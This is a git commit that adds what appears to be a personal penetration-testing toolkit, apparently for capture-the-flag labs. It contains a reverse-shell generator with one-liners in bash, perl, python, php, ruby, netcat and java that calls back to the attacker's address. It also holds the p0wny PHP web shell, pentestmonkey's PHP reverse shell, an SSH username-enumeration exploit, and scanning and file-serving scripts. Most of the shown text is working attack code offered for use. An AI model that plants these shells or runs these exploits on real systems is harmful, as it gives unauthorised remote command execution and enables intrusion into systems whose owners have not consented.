Initial Commit
This commit is contained in:
commit
a0476d4c17
1340
LinEnum.sh
Executable file
1340
LinEnum.sh
Executable file
File diff suppressed because it is too large
Load Diff
25
first_scan.sh
Executable file
25
first_scan.sh
Executable file
@ -0,0 +1,25 @@
|
||||
#!/usr/bin/bash
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Invalid usage: $0 <host>"
|
||||
exit
|
||||
fi
|
||||
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
echo "[-] Script requires root permissions (e.g. nmap scan)"
|
||||
exit
|
||||
fi
|
||||
|
||||
IP_ADDRESS=$1
|
||||
|
||||
echo "[+] Checking online status…"
|
||||
ping -c1 -W1 -q "${IP_ADDRESS}" &>/dev/null
|
||||
status=$(echo $?)
|
||||
|
||||
if ! [[ $status == 0 ]] ; then
|
||||
echo "[-] Target not reachable"
|
||||
exit
|
||||
fi
|
||||
|
||||
echo "[+] Scanning for open ports…"
|
||||
nmap -A "${IP_ADDRESS}" -p 1-65535 -T 5 --stats-every 30s
|
61
genRevShell.py
Executable file
61
genRevShell.py
Executable file
@ -0,0 +1,61 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
import socket
|
||||
import sys
|
||||
import subprocess
|
||||
import netifaces as ni
|
||||
|
||||
def getLocalAddress():
|
||||
interface = "tun0"
|
||||
if not interface in ni.interfaces():
|
||||
interface = ni.interfaces()[0]
|
||||
|
||||
addresses = ni.ifaddresses(interface)
|
||||
address = addresses[next(iter(addresses))][0]["addr"]
|
||||
return address
|
||||
|
||||
def generatePayload(type, local_address, port):
|
||||
|
||||
if type == "bash":
|
||||
return "bash -i >& /dev/tcp/%s/%d 0>&1" % (local_address, port)
|
||||
elif type == "perl":
|
||||
return "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" % (local_address, port)
|
||||
elif type == "python" or type == "python2" or type == "python3":
|
||||
binary = type
|
||||
return "%s -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"%s\",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" % (binary, local_address, port)
|
||||
elif type == "php":
|
||||
return "php -r '$sock=fsockopen(\"%s\",%d);exec(\"/bin/bash -i <&3 >&3 2>&3\");'" % (local_address, port)
|
||||
elif type == "ruby":
|
||||
return "ruby -rsocket -e'f=TCPSocket.open(\"%s\",%d).to_i;exec sprintf(\"/bin/bash -i <&%d >&%d 2>&%d\",f,f,f)'" % (local_address, port)
|
||||
elif type == "netcat":
|
||||
return "nc -e /bin/bash %s %d\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc %s %d >/tmp/f" % (local_address, port, local_address, port)
|
||||
elif type == "java":
|
||||
return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port)
|
||||
elif type == "xterm":
|
||||
return "xterm -display %s:1" % (local_address)
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
if len(sys.argv) < 3:
|
||||
print("Usage: %s <type> <port>" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
listen_port = int(sys.argv[2])
|
||||
payload_type = sys.argv[1].lower()
|
||||
|
||||
local_address = getLocalAddress()
|
||||
payload = generatePayload(payload_type, local_address, listen_port)
|
||||
|
||||
if payload is None:
|
||||
print("Unknown payload type: %s" % payload_type)
|
||||
print("Supported types: bash, perl, python[2|3], php, ruby, netcat, java, xterm")
|
||||
exit(1)
|
||||
|
||||
print("---PAYLOAD---\n%s\n---PAYLOAD---\n" % payload)
|
||||
|
||||
if payload_type == "xterm":
|
||||
print("You need to run the following commands (not tested):")
|
||||
print("xhost +targetip")
|
||||
print("Xnest :1")
|
||||
else:
|
||||
subprocess.call(["nc", "-lvvp", str(listen_port)])
|
16
gobuster.sh
Executable file
16
gobuster.sh
Executable file
@ -0,0 +1,16 @@
|
||||
#!/usr/bin/bash
|
||||
|
||||
if [ $# -lt 1 ]; then
|
||||
echo "Invalid usage: $0 <host>"
|
||||
exit
|
||||
fi
|
||||
|
||||
HOST=$1
|
||||
EXTENSIONS=""
|
||||
|
||||
if [ $# -gt 1 ]; then
|
||||
EXTENSIONS="-x ${2}"
|
||||
fi
|
||||
|
||||
gobuster dir --url="${HOST}" --wordlist="/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt" \
|
||||
-k "${EXTENSIONS}" -b "403,404"
|
1419
linpeas.sh
Executable file
1419
linpeas.sh
Executable file
File diff suppressed because one or more lines are too long
460
p0wny-shell.php
Normal file
460
p0wny-shell.php
Normal file
@ -0,0 +1,460 @@
|
||||
<?php
|
||||
|
||||
function featureShell($cmd, $cwd) {
|
||||
$stdout = array();
|
||||
|
||||
if (preg_match("/^\s*cd\s*$/", $cmd)) {
|
||||
// pass
|
||||
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
chdir($match[1]);
|
||||
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
|
||||
chdir($cwd);
|
||||
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
|
||||
return featureDownload($match[1]);
|
||||
} else {
|
||||
chdir($cwd);
|
||||
exec($cmd, $stdout);
|
||||
}
|
||||
|
||||
return array(
|
||||
"stdout" => $stdout,
|
||||
"cwd" => getcwd()
|
||||
);
|
||||
}
|
||||
|
||||
function featurePwd() {
|
||||
return array("cwd" => getcwd());
|
||||
}
|
||||
|
||||
function featureHint($fileName, $cwd, $type) {
|
||||
chdir($cwd);
|
||||
if ($type == 'cmd') {
|
||||
$cmd = "compgen -c $fileName";
|
||||
} else {
|
||||
$cmd = "compgen -f $fileName";
|
||||
}
|
||||
$cmd = "/bin/bash -c \"$cmd\"";
|
||||
$files = explode("\n", shell_exec($cmd));
|
||||
return array(
|
||||
'files' => $files,
|
||||
);
|
||||
}
|
||||
|
||||
function featureDownload($filePath) {
|
||||
$file = @file_get_contents($filePath);
|
||||
if ($file === FALSE) {
|
||||
return array(
|
||||
'stdout' => array('File not found / no read permission.'),
|
||||
'cwd' => getcwd()
|
||||
);
|
||||
} else {
|
||||
return array(
|
||||
'name' => basename($filePath),
|
||||
'file' => base64_encode($file)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function featureUpload($path, $file, $cwd) {
|
||||
chdir($cwd);
|
||||
$f = @fopen($path, 'wb');
|
||||
if ($f === FALSE) {
|
||||
return array(
|
||||
'stdout' => array('Invalid path / no write permission.'),
|
||||
'cwd' => getcwd()
|
||||
);
|
||||
} else {
|
||||
fwrite($f, base64_decode($file));
|
||||
fclose($f);
|
||||
return array(
|
||||
'stdout' => array('Done.'),
|
||||
'cwd' => getcwd()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
if (isset($_GET["feature"])) {
|
||||
|
||||
$response = NULL;
|
||||
|
||||
switch ($_GET["feature"]) {
|
||||
case "shell":
|
||||
$cmd = $_POST['cmd'];
|
||||
if (!preg_match('/2>/', $cmd)) {
|
||||
$cmd .= ' 2>&1';
|
||||
}
|
||||
$response = featureShell($cmd, $_POST["cwd"]);
|
||||
break;
|
||||
case "pwd":
|
||||
$response = featurePwd();
|
||||
break;
|
||||
case "hint":
|
||||
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
|
||||
break;
|
||||
case 'upload':
|
||||
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
|
||||
}
|
||||
|
||||
header("Content-Type: application/json");
|
||||
echo json_encode($response);
|
||||
die();
|
||||
}
|
||||
|
||||
?><!DOCTYPE html>
|
||||
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<title>p0wny@shell:~#</title>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<style>
|
||||
html, body {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background: #333;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
}
|
||||
|
||||
#shell {
|
||||
background: #222;
|
||||
max-width: 800px;
|
||||
margin: 50px auto 0 auto;
|
||||
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
|
||||
font-size: 10pt;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
#shell-content {
|
||||
height: 500px;
|
||||
overflow: auto;
|
||||
padding: 5px;
|
||||
white-space: pre-wrap;
|
||||
flex-grow: 1;
|
||||
}
|
||||
|
||||
#shell-logo {
|
||||
font-weight: bold;
|
||||
color: #FF4180;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
@media (max-width: 991px) {
|
||||
#shell-logo {
|
||||
display: none;
|
||||
}
|
||||
|
||||
html, body, #shell {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
#shell {
|
||||
margin-top: 0;
|
||||
}
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
#shell-input {
|
||||
flex-direction: column;
|
||||
}
|
||||
}
|
||||
|
||||
.shell-prompt {
|
||||
font-weight: bold;
|
||||
color: #75DF0B;
|
||||
}
|
||||
|
||||
.shell-prompt > span {
|
||||
color: #1BC9E7;
|
||||
}
|
||||
|
||||
#shell-input {
|
||||
display: flex;
|
||||
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
|
||||
border-top: rgba(255, 255, 255, .05) solid 1px;
|
||||
}
|
||||
|
||||
#shell-input > label {
|
||||
flex-grow: 0;
|
||||
display: block;
|
||||
padding: 0 5px;
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
}
|
||||
|
||||
#shell-input #shell-cmd {
|
||||
height: 30px;
|
||||
line-height: 30px;
|
||||
border: none;
|
||||
background: transparent;
|
||||
color: #eee;
|
||||
font-family: monospace;
|
||||
font-size: 10pt;
|
||||
width: 100%;
|
||||
align-self: center;
|
||||
}
|
||||
|
||||
#shell-input div {
|
||||
flex-grow: 1;
|
||||
align-items: stretch;
|
||||
}
|
||||
|
||||
#shell-input input {
|
||||
outline: none;
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
var CWD = null;
|
||||
var commandHistory = [];
|
||||
var historyPosition = 0;
|
||||
var eShellCmdInput = null;
|
||||
var eShellContent = null;
|
||||
|
||||
function _insertCommand(command) {
|
||||
eShellContent.innerHTML += "\n\n";
|
||||
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
|
||||
eShellContent.innerHTML += escapeHtml(command);
|
||||
eShellContent.innerHTML += "\n";
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function _insertStdout(stdout) {
|
||||
eShellContent.innerHTML += escapeHtml(stdout);
|
||||
eShellContent.scrollTop = eShellContent.scrollHeight;
|
||||
}
|
||||
|
||||
function featureShell(command) {
|
||||
|
||||
_insertCommand(command);
|
||||
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
|
||||
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
|
||||
} else if (/^\s*clear\s*$/.test(command)) {
|
||||
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
|
||||
eShellContent.innerHTML = '';
|
||||
} else {
|
||||
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
|
||||
if (response.hasOwnProperty('file')) {
|
||||
featureDownload(response.name, response.file)
|
||||
} else {
|
||||
_insertStdout(response.stdout.join("\n"));
|
||||
updateCwd(response.cwd);
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function featureHint() {
|
||||
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
|
||||
|
||||
function _requestCallback(data) {
|
||||
if (data.files.length <= 1) return; // no completion
|
||||
|
||||
if (data.files.length === 2) {
|
||||
if (type === 'cmd') {
|
||||
eShellCmdInput.value = data.files[0];
|
||||
} else {
|
||||
var currentValue = eShellCmdInput.value;
|
||||
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
|
||||
}
|
||||
} else {
|
||||
_insertCommand(eShellCmdInput.value);
|
||||
_insertStdout(data.files.join("\n"));
|
||||
}
|
||||
}
|
||||
|
||||
var currentCmd = eShellCmdInput.value.split(" ");
|
||||
var type = (currentCmd.length === 1) ? "cmd" : "file";
|
||||
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
|
||||
|
||||
makeRequest(
|
||||
"?feature=hint",
|
||||
{
|
||||
filename: fileName,
|
||||
cwd: CWD,
|
||||
type: type
|
||||
},
|
||||
_requestCallback
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
function featureDownload(name, file) {
|
||||
var element = document.createElement('a');
|
||||
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
|
||||
element.setAttribute('download', name);
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
_insertStdout('Done.');
|
||||
}
|
||||
|
||||
function featureUpload(path) {
|
||||
var element = document.createElement('input');
|
||||
element.setAttribute('type', 'file');
|
||||
element.style.display = 'none';
|
||||
document.body.appendChild(element);
|
||||
element.addEventListener('change', function () {
|
||||
var promise = getBase64(element.files[0]);
|
||||
promise.then(function (file) {
|
||||
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
|
||||
_insertStdout(response.stdout.join("\n"));
|
||||
updateCwd(response.cwd);
|
||||
});
|
||||
}, function () {
|
||||
_insertStdout('An unknown client-side error occurred.');
|
||||
});
|
||||
});
|
||||
element.click();
|
||||
document.body.removeChild(element);
|
||||
}
|
||||
|
||||
function getBase64(file, onLoadCallback) {
|
||||
return new Promise(function(resolve, reject) {
|
||||
var reader = new FileReader();
|
||||
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
|
||||
reader.onerror = reject;
|
||||
reader.readAsDataURL(file);
|
||||
});
|
||||
}
|
||||
|
||||
function genPrompt(cwd) {
|
||||
cwd = cwd || "~";
|
||||
var shortCwd = cwd;
|
||||
if (cwd.split("/").length > 3) {
|
||||
var splittedCwd = cwd.split("/");
|
||||
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
|
||||
}
|
||||
return "p0wny@shell:<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
|
||||
}
|
||||
|
||||
function updateCwd(cwd) {
|
||||
if (cwd) {
|
||||
CWD = cwd;
|
||||
_updatePrompt();
|
||||
return;
|
||||
}
|
||||
makeRequest("?feature=pwd", {}, function(response) {
|
||||
CWD = response.cwd;
|
||||
_updatePrompt();
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
function escapeHtml(string) {
|
||||
return string
|
||||
.replace(/&/g, "&")
|
||||
.replace(/</g, "<")
|
||||
.replace(/>/g, ">");
|
||||
}
|
||||
|
||||
function _updatePrompt() {
|
||||
var eShellPrompt = document.getElementById("shell-prompt");
|
||||
eShellPrompt.innerHTML = genPrompt(CWD);
|
||||
}
|
||||
|
||||
function _onShellCmdKeyDown(event) {
|
||||
switch (event.key) {
|
||||
case "Enter":
|
||||
featureShell(eShellCmdInput.value);
|
||||
insertToHistory(eShellCmdInput.value);
|
||||
eShellCmdInput.value = "";
|
||||
break;
|
||||
case "ArrowUp":
|
||||
if (historyPosition > 0) {
|
||||
historyPosition--;
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.focus();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
}
|
||||
break;
|
||||
case "ArrowDown":
|
||||
if (historyPosition >= commandHistory.length) {
|
||||
break;
|
||||
}
|
||||
historyPosition++;
|
||||
if (historyPosition === commandHistory.length) {
|
||||
eShellCmdInput.value = "";
|
||||
} else {
|
||||
eShellCmdInput.blur();
|
||||
eShellCmdInput.focus();
|
||||
eShellCmdInput.value = commandHistory[historyPosition];
|
||||
}
|
||||
break;
|
||||
case 'Tab':
|
||||
event.preventDefault();
|
||||
featureHint();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
function insertToHistory(cmd) {
|
||||
commandHistory.push(cmd);
|
||||
historyPosition = commandHistory.length;
|
||||
}
|
||||
|
||||
function makeRequest(url, params, callback) {
|
||||
function getQueryString() {
|
||||
var a = [];
|
||||
for (var key in params) {
|
||||
if (params.hasOwnProperty(key)) {
|
||||
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
|
||||
}
|
||||
}
|
||||
return a.join("&");
|
||||
}
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", url, true);
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
try {
|
||||
var responseJson = JSON.parse(xhr.responseText);
|
||||
callback(responseJson);
|
||||
} catch (error) {
|
||||
alert("Error while parsing response: " + error);
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.send(getQueryString());
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
eShellCmdInput = document.getElementById("shell-cmd");
|
||||
eShellContent = document.getElementById("shell-content");
|
||||
updateCwd();
|
||||
eShellCmdInput.focus();
|
||||
};
|
||||
</script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div id="shell">
|
||||
<pre id="shell-content">
|
||||
<div id="shell-logo">
|
||||
___ ____ _ _ _ _ _ <span></span>
|
||||
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
|
||||
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
|
||||
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
|
||||
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|
||||
|_| |___/ \____/ <span></span>
|
||||
</div>
|
||||
</pre>
|
||||
<div id="shell-input">
|
||||
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
|
||||
<div>
|
||||
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
189
php-reverse-shell.php
Normal file
189
php-reverse-shell.php
Normal file
@ -0,0 +1,189 @@
|
||||
<?php
|
||||
// php-reverse-shell - A Reverse Shell implementation in PHP
|
||||
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. The author accepts no liability
|
||||
// for damage caused by this tool. If these terms are not acceptable to you, then
|
||||
// do not use this tool.
|
||||
//
|
||||
// In all other respects the GPL version 2 applies:
|
||||
//
|
||||
// This program is free software; you can redistribute it and/or modify
|
||||
// it under the terms of the GNU General Public License version 2 as
|
||||
// published by the Free Software Foundation.
|
||||
//
|
||||
// This program is distributed in the hope that it will be useful,
|
||||
// but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
// GNU General Public License for more details.
|
||||
//
|
||||
// You should have received a copy of the GNU General Public License along
|
||||
// with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
//
|
||||
// This tool may be used for legal purposes only. Users take full responsibility
|
||||
// for any actions performed using this tool. If these terms are not acceptable to
|
||||
// you, then do not use this tool.
|
||||
//
|
||||
// You are encouraged to send comments, improvements or suggestions to
|
||||
// me at pentestmonkey@pentestmonkey.net
|
||||
//
|
||||
// Description
|
||||
// -----------
|
||||
// This script will make an outbound TCP connection to a hardcoded IP and port.
|
||||
// The recipient will be given a shell running as the current user (apache normally).
|
||||
//
|
||||
// Limitations
|
||||
// -----------
|
||||
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
|
||||
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
|
||||
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
|
||||
//
|
||||
// Usage
|
||||
// -----
|
||||
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
|
||||
|
||||
set_time_limit (0);
|
||||
$VERSION = "1.0";
|
||||
$ip = $_GET["LHOST"];
|
||||
$port = intval($_GET["LPORT"]);
|
||||
$chunk_size = 1400;
|
||||
$write_a = null;
|
||||
$error_a = null;
|
||||
$shell = 'uname -a; w; id; /bin/sh -i';
|
||||
$daemon = 0;
|
||||
$debug = 0;
|
||||
|
||||
//
|
||||
// Daemonise ourself if possible to avoid zombies later
|
||||
//
|
||||
|
||||
// pcntl_fork is hardly ever available, but will allow us to daemonise
|
||||
// our php process and avoid zombies. Worth a try...
|
||||
if (function_exists('pcntl_fork')) {
|
||||
// Fork and have the parent process exit
|
||||
$pid = pcntl_fork();
|
||||
|
||||
if ($pid == -1) {
|
||||
printit("ERROR: Can't fork");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if ($pid) {
|
||||
exit(0); // Parent exits
|
||||
}
|
||||
|
||||
// Make the current process a session leader
|
||||
// Will only succeed if we forked
|
||||
if (posix_setsid() == -1) {
|
||||
printit("Error: Can't setsid()");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
$daemon = 1;
|
||||
} else {
|
||||
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
|
||||
}
|
||||
|
||||
// Change to a safe directory
|
||||
chdir("/");
|
||||
|
||||
// Remove any umask we inherited
|
||||
umask(0);
|
||||
|
||||
//
|
||||
// Do the reverse shell...
|
||||
//
|
||||
|
||||
// Open reverse connection
|
||||
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
|
||||
if (!$sock) {
|
||||
printit("$errstr ($errno)");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Spawn shell process
|
||||
$descriptorspec = array(
|
||||
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
|
||||
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
|
||||
2 => array("pipe", "w") // stderr is a pipe that the child will write to
|
||||
);
|
||||
|
||||
$process = proc_open($shell, $descriptorspec, $pipes);
|
||||
|
||||
if (!is_resource($process)) {
|
||||
printit("ERROR: Can't spawn shell");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// Set everything to non-blocking
|
||||
// Reason: Occsionally reads will block, even though stream_select tells us they won't
|
||||
stream_set_blocking($pipes[0], 0);
|
||||
stream_set_blocking($pipes[1], 0);
|
||||
stream_set_blocking($pipes[2], 0);
|
||||
stream_set_blocking($sock, 0);
|
||||
|
||||
printit("Successfully opened reverse shell to $ip:$port");
|
||||
|
||||
while (1) {
|
||||
// Check for end of TCP connection
|
||||
if (feof($sock)) {
|
||||
printit("ERROR: Shell connection terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check for end of STDOUT
|
||||
if (feof($pipes[1])) {
|
||||
printit("ERROR: Shell process terminated");
|
||||
break;
|
||||
}
|
||||
|
||||
// Wait until a command is end down $sock, or some
|
||||
// command output is available on STDOUT or STDERR
|
||||
$read_a = array($sock, $pipes[1], $pipes[2]);
|
||||
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
|
||||
|
||||
// If we can read from the TCP socket, send
|
||||
// data to process's STDIN
|
||||
if (in_array($sock, $read_a)) {
|
||||
if ($debug) printit("SOCK READ");
|
||||
$input = fread($sock, $chunk_size);
|
||||
if ($debug) printit("SOCK: $input");
|
||||
fwrite($pipes[0], $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDOUT
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[1], $read_a)) {
|
||||
if ($debug) printit("STDOUT READ");
|
||||
$input = fread($pipes[1], $chunk_size);
|
||||
if ($debug) printit("STDOUT: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
|
||||
// If we can read from the process's STDERR
|
||||
// send data down tcp connection
|
||||
if (in_array($pipes[2], $read_a)) {
|
||||
if ($debug) printit("STDERR READ");
|
||||
$input = fread($pipes[2], $chunk_size);
|
||||
if ($debug) printit("STDERR: $input");
|
||||
fwrite($sock, $input);
|
||||
}
|
||||
}
|
||||
|
||||
fclose($sock);
|
||||
fclose($pipes[0]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
proc_close($process);
|
||||
|
||||
// Like print, but does nothing if we've daemonised ourself
|
||||
// (I can't figure out how to redirect STDOUT like a proper daemon)
|
||||
function printit ($string) {
|
||||
if (!$daemon) {
|
||||
print "$string\n";
|
||||
}
|
||||
}
|
||||
|
||||
?>
|
BIN
pspy64
Executable file
BIN
pspy64
Executable file
Binary file not shown.
87
ssh-check-username.py
Executable file
87
ssh-check-username.py
Executable file
@ -0,0 +1,87 @@
|
||||
#!/usr/bin/python3
|
||||
import multiprocessing
|
||||
import threading
|
||||
import time
|
||||
import os
|
||||
import argparse
|
||||
import logging
|
||||
import paramiko
|
||||
import socket
|
||||
import sys
|
||||
import pdb
|
||||
|
||||
arg_parser = argparse.ArgumentParser()
|
||||
arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target')
|
||||
arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22')
|
||||
arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate')
|
||||
arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users')
|
||||
args = arg_parser.parse_args()
|
||||
port = args.port
|
||||
target = args.hostname
|
||||
|
||||
class InvalidUsername(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def add_boolean(*args, **kwargs):
|
||||
pass
|
||||
|
||||
|
||||
old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
|
||||
paramiko.common.MSG_SERVICE_ACCEPT]
|
||||
|
||||
def service_accept(*args, **kwargs):
|
||||
paramiko.message.Message.add_boolean = add_boolean
|
||||
return old_service_accept(*args, **kwargs)
|
||||
|
||||
|
||||
def userauth_failure(*args, **kwargs):
|
||||
raise InvalidUsername()
|
||||
|
||||
|
||||
def _paramiko_tunnel(username, *args, **kwargs):
|
||||
sock = socket.socket()
|
||||
sock.connect((target, port))
|
||||
us = username.strip()
|
||||
try:
|
||||
transport = paramiko.transport.Transport(sock)
|
||||
except socket.error:
|
||||
print ('[-] Failed to connect')
|
||||
return
|
||||
try:
|
||||
transport.start_client()
|
||||
except paramiko.ssh_exception.SSHException:
|
||||
print ('[-] Failed to negotiate SSH transport')
|
||||
return
|
||||
try:
|
||||
transport.auth_publickey(us, paramiko.RSAKey.generate(2048))
|
||||
except InvalidUsername:
|
||||
print ('[*] {} - Invalid username'.format(us))
|
||||
except paramiko.ssh_exception.AuthenticationException:
|
||||
print ('[+] {} - Valid username'.format(us))
|
||||
return
|
||||
|
||||
|
||||
paramiko.auth_handler.AuthHandler._handler_table.update({
|
||||
paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
|
||||
paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
|
||||
})
|
||||
|
||||
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
|
||||
|
||||
if args.username is not None:
|
||||
username = args.username
|
||||
_paramiko_tunnel(target, port, username)
|
||||
|
||||
if args.wordlist is not None:
|
||||
usernames = []
|
||||
mp = []
|
||||
pool = multiprocessing.Pool(5)
|
||||
with open(args.wordlist) as f:
|
||||
for u in f:
|
||||
usernames.append(u)
|
||||
pool.map(_paramiko_tunnel, usernames)
|
||||
|
||||
|
||||
|
||||
|
1086
unix-privesc-check.sh
Executable file
1086
unix-privesc-check.sh
Executable file
File diff suppressed because it is too large
Load Diff
42
upload_file.py
Executable file
42
upload_file.py
Executable file
@ -0,0 +1,42 @@
|
||||
import socket
|
||||
import sys
|
||||
import netifaces as ni
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: %s <file>" % sys.argv[0])
|
||||
exit(1)
|
||||
|
||||
# Create a TCP/IP socket
|
||||
FILENAME = sys.argv[1]
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
interface = "tun0"
|
||||
if not interface in ni.interfaces():
|
||||
interface = ni.interfaces()[0]
|
||||
|
||||
|
||||
addresses = ni.ifaddresses(interface)
|
||||
address = addresses[next(iter(addresses))][0]["addr"]
|
||||
|
||||
# Bind the socket to the port
|
||||
server_address = (address, 8888)
|
||||
print('starting up on %s port %s' % server_address)
|
||||
sock.bind(server_address)
|
||||
|
||||
sock.listen(1)
|
||||
|
||||
while True:
|
||||
# Wait for a connection
|
||||
print('waiting for a connection')
|
||||
connection, client_address = sock.accept()
|
||||
|
||||
try:
|
||||
print('connection from', client_address)
|
||||
|
||||
with open(FILENAME, "rb") as f:
|
||||
content = f.read()
|
||||
connection.sendall(content)
|
||||
|
||||
finally:
|
||||
# Clean up the connection
|
||||
connection.close()
|
804
uptux.py
Normal file
804
uptux.py
Normal file
@ -0,0 +1,804 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
